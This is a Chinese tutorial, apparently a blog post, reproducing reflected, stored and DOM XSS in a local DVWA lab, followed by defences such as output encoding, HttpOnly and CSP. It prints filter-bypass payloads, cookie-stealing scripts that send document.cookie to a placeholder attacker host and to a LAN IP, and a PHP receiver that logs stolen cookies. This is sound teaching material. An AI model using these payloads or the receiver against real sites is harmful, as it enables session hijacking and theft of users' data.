前置条件: 已完成 DVWA 环境搭建(参考前文 SQL 注入文章)
⚠️ 警告: XSS 可窃取用户会话和隐私,仅限本地离线靶场测试。
一、什么是 XSS
1.1 一个真实场景
几年前,我负责的一个社区论坛发生过一次事故。
用户在签名档里插入了一段 JavaScript 代码。任何查看该用户主页的管理员,浏览器都会自动执行这段代码,把管理员的 Cookie 发送到了攻击者服务器。
管理员什么都没点,权限却丢了。 这就是 XSS。
1.2 核心原理
XSS(Cross-Site Scripting)跨站脚本攻击,本质是恶意脚本在受害者的浏览器中执行。
类比理解:
正常情况:
你在留言板写「你好」→ 服务器保存「你好」→ 其他人看到「你好」
XSS 情况:
攻击者写「<script>偷 Cookie</script>」→ 服务器原样保存 → 其他人看到代码并执行
→ 攻击者拿到了其他人的 Cookie
技术本质: 服务器没有对用户输入的数据进行过滤或转义,直接输出到 HTML 页面中,浏览器误以为是正常代码执行了。
1.3 漏洞分类
|-----------|-----------|------------------|--------------|-----------|
| 类型 | 缩写 | 存储位置 | 触发方式 | 危害 |
| 反射型 | Reflected | 不存储,直接在 URL 中 | 诱导用户点击链接 | 中(一次性的) |
| 存储型 | Stored | 存储在数据库/文件 | 用户访问页面即触发 | 高(持久化的) |
| DOM 型 | DOM | 前端 JavaScript 处理 | 前端解析 URL 或数据 | 中(服务端无日志) |
二、环境搭建
2.1 启动 DVWA
docker run --rm -it -p 8080:80 vulnerables/web-dvwa
浏览器访问 http://127.0.0.1:8080
登录账号:admin / password
安全级别设置为 Low

2.2 测试前准备
XSS 测试需要观察浏览器行为,建议关闭浏览器的 XSS 过滤器(如果有)。
Firefox 设置:
- 地址栏输入
- 搜索
browser.xss_filter.enabled - 设置为
false(新版 Firefox 可能已移除,忽略即可,本地靶场通常不受影响)

三、反射型 XSS 复现
3.1 找到测试模块
左侧菜单选择 「XSS (Reflected)」。
页面功能:输入名字,页面显示「Hello 名字」。

3.2 测试 1:Low 级别(无过滤)
Payload:
<script>alert('XSS')</script>
操作步骤:
- 在输入框输入 Payload
- 点击 Submit
- 观察是否弹出 alert 框
原理: 输入直接被拼接到 HTML 中输出,浏览器解析执行了 <script> 标签。

截图内容: 浏览器弹出 alert('XSS') 对话框的截图。
目的: 证明反射型 XSS 漏洞存在。
3.3 测试 2:Medium 级别(过滤 <script>)
切换安全级别到 Medium,刷新页面。
再次输入: <script>alert('XSS')</script>
结果: 无弹窗,<script> 被移除。

绕过 Payload:
<img src=x onerror=alert('XSS')>
原理: 服务器过滤了 script 标签,但没过滤 img 标签的 onerror 事件。当 src=x 加载失败时,触发 onerror 执行 JS。

图片内容: Medium 级别下,使用 img 标签成功弹出 alert 的截图。
目的: 展示绕过简单过滤的方法。
3.4 测试 3:High 级别(严格过滤)
切换安全级别到 High。
现状: 大多数标签和事件都被过滤了。
尝试 Payload:
<img src=x onerror=alert('XSS')>
结果: 通常无效,High 级别做了更严格的白名单或编码。
说明: 高难度 XSS 需要结合编码、特殊标签或浏览器特性,初学者了解原理即可,不必死磕 High 级别。

图片内容: High 级别下,Payload 被过滤或无反应的截图。
目的: 展示防御升级后的效果。
四、存储型 XSS 复现
4.1 找到测试模块
左侧菜单选择 「XSS (Stored)」。
页面功能:留言板,输入名字和消息,永久保存并显示。

图片内容: DVWA XSS (Stored) 模块页面,显示 Name 和 Message 输入框。
目的: 展示存储型 XSS 的入口。
4.2 测试步骤
Step 1: 输入 Payload
|---------|----------------------------------------|
| 字段 | 输入内容 |
| Name | Attacker |
| Message | <script>alert('Stored XSS')</script> |
Step 2: 点击 Sign Guestbook
Step 3: 刷新页面或让其他用户访问该页面
预期结果: 每次加载页面,都会自动弹出 alert 框。

图片内容: 留言板页面自动弹出 alert 框的截图。
目的: 证明恶意脚本已存储到数据库,每次访问都执行。
4.3 危害演示(模拟)
存储型 XSS 的危害在于被动触发。
模拟场景:
- 攻击者留言插入窃取 Cookie 的代码
- 管理员查看留言板
- 管理员 Cookie 被发送到攻击者服务器
窃取 Cookie Payload:
<script>document.location='http://攻击者IP/log.php?c='+document.cookie</script>
⚠️ 注意: 本地测试时,请把 攻击者 IP 改成本机 IP,并确保有接收端,否则无法验证。本文仅展示原理,请勿实际发送数据。
知道原理后,自己就能在本地写一个接收端:
-
在项目目录创建
<?php // receiver.php - XSS 数据接收端receiver.php// 记录接收时间
$time = date('Y-m-d H:i:s');// 获取发送的数据
cookie = _GET['c'] ?? _POST['c'] ?? 'No cookie'; referer = _SERVER['HTTP_REFERER'] ?? 'No referer'; user_agent = _SERVER['HTTP_USER_AGENT'] ?? 'No user agent'; ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';// 保存到日志文件
log = "[time] IP: ip | Cookie: cookie | Referer: referer | UA: user_agent\n";
file_put_contents('stolen.log', $log, FILE_APPEND);?>
-
启动php服务-使用是小皮工具,在本地windows上开启一个php的服务作为接收端

- 插入xss代码,尝试以下两种方法都可以实现
方法1:
<script>
fetch('http://192.168.31.154:81/receiver.php?c=' + document.cookie)
</script>
方法2:
<script>
var img = new Image();
img.src = 'http://192.168.31.154:81/receiver.php?c=' + document.cookie;
// 甚至不需要把 img 添加到文档中,请求就会发出
</script>
替换说明: 将 192.168.31.154 换成你的实际 IP。

如果输入框Message无法输入全部的代码,修改代码,就可以正常输入

- 验证接收
-
- 提交 Payload
- 刷新留言板页面(触发 XSS)
- 查看
stolen.log文件

五、DOM 型 XSS 复现
5.1 找到测试模块
左侧菜单选择 「XSS (DOM)」。
页面功能:选择语言。

图片内容: DVWA XSS (DOM) 模块页面,显示语言选择下拉框。
目的: 展示 DOM 型 XSS 的入口。
5.2 测试步骤
原理: 漏洞不在服务端代码,而在前端 JavaScript 解析 URL 参数时未过滤。
Payload:
#<script>alert('DOM XSS')</script>
操作步骤:
- 在 URL 末尾添加 Payload
- 完整 URL:
http://127.0.0.1:8080/vulnerabilities/xss_d/#<script>alert('DOM XSS')</script> - 回车访问
预期结果: 弹出 alert 框。
关键点: 这个请求不会发送到服务器(# 后面的内容浏览器不发送),所以服务端日志里看不到攻击痕迹。

图片内容: 浏览器地址栏包含 Payload,且弹出 alert 框的截图。
目的: 展示 DOM 型 XSS 的特征(URL 片段执行)。
六、防御方案
6.1 输出编码(最有效)
原理: 将特殊字符转换为 HTML 实体,浏览器显示为文本而不是执行代码。
PHP 示例:
// ❌ 危险写法
echo "Hello " . $_GET['name'];
// ✅ 安全写法
echo "Hello " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
转换效果:
|-----|----------|
| 字符 | 编码后 |
| < | < |
| > | > |
| " | " |
| ' | ' |
| & | & |
6.2 输入校验
原理: 只允许预期的字符通过。
// 只允许字母和数字
$name = preg_replace('/[^a-zA-Z0-9]/', '', $_GET['name']);
局限性: 只能作为辅助防御,不能替代输出编码。
6.3 设置 HttpOnly Cookie
原理: 设置 Cookie 的 HttpOnly 属性,禁止 JavaScript 读取。
setcookie('session_id', $value, [
'httponly' => true, // 禁止 JS 访问
'secure' => true,
'samesite' => 'Strict'
]);
效果: 即使存在 XSS,攻击者也无法通过 document.cookie 窃取会话 ID。
6.4 内容安全策略(CSP)
原理: 告诉浏览器只允许加载特定来源的脚本。
HTTP 响应头:
Content-Security-Policy: default-src 'self'
效果: 即使注入了 <script>,如果来源不在白名单内,浏览器会拒绝执行。
七、DVWA 不同级别对比
|----------------|---------------------|--------------------|
| 级别 | 防御措施 | 是否可绕过 |
| Low | 无防御 | ✅ 可攻击 |
| Medium | 过滤 <script> 标签 | ⚠️ 可绕过(事件 handler) |
| High | 过滤大部分标签和事件 | ⚠️ 难绕过(需编码/特殊技巧) |
| Impossible | 输出编码 + Token + 严格校验 | ❌ 无法绕过 |
八、自查清单
每次发布涉及用户输入显示的功能前,过一遍这个单子:
- 所有用户输入输出到 HTML 时是否做了编码(htmlspecialchars)?
- 输出到 JavaScript 变量时是否做了转义?
- 输出到 URL 参数时是否做了 URL 编码?
- Cookie 是否设置了 HttpOnly 属性?
- 是否配置了 CSP 响应头?
- 是否避免了将用户输入直接用于
innerHTML或eval()? - 富文本编辑器是否使用了白名单过滤(如 DOMPurify)?
九、常见问题 Q&A
Q:XSS 和 CSRF 有什么区别?
A:
- XSS:利用网站漏洞,在用户浏览器执行脚本(信任用户浏览器)。
- CSRF:利用用户身份,伪造请求发送给网站(信任用户 Cookie)。
- 关系:XSS 可以绕过 CSRF 防御(因为能读取 Token)。
Q:为什么我的 Payload 不弹窗?
A:检查几点:
- 浏览器是否有 XSS 过滤器
- 特殊字符是否被 URL 编码(尝试手动输入)
- 上下文环境(是在标签内、属性内还是 JS 内)
Q:HttpOnly 能防御 XSS 吗?
A:不能。HttpOnly 只能防止 Cookie 被窃取,不能防止 XSS 执行其他恶意操作(如篡改页面、钓鱼)。防御 XSS 必须靠编码。
Q:现代框架(Vue/React)安全吗?
A:相对安全。它们默认会对数据进行转义。但使用 v-html 或 dangerouslySetInnerHTML 时依然会有风险。
Q:如何检测自己的系统有没有 XSS 漏洞?
A:
- 在所有输入框输入
<script>alert(1)</script> - 提交后观察页面是否原样显示或执行
- 使用工具如 OWASP ZAP 扫描(仅限授权)
十、XSS vs 其他漏洞对比
|----------|------------|-----------|------------------|
| 对比项 | XSS | SQL 注入 | CSRF |
| 攻击目标 | 用户浏览器/会话 | 数据库 | 用户身份 |
| 利用条件 | 输入未编码输出 | 字符串拼接 SQL | 用户已登录 |
| 防御核心 | 输出编码 + CSP | 参数化查询 | Token + SameSite |
| 危害程度 | 高(窃取会话/钓鱼) | 高(数据泄露) | 中(非自愿操作) |
十一、写在最后
XSS 是 Web 安全中最常见的漏洞之一。虽然原理简单,但变种极多。
核心要点:
- 永远不要信任用户输入
- 输出到 HTML 必须编码
- Cookie 设置 HttpOnly
- 使用 CSP 作为纵深防御
建议把自己系统的评论、搜索、个人资料展示等页面全部过一遍,确认都有正确的编码处理。
下期会继续介绍常见的漏洞、然后会讲解工具的使用.....
免责声明: 本文所有内容仅供学习与授权测试使用,未经授权的攻击行为属于违法,请务必在法律允许范围内进行安全研究。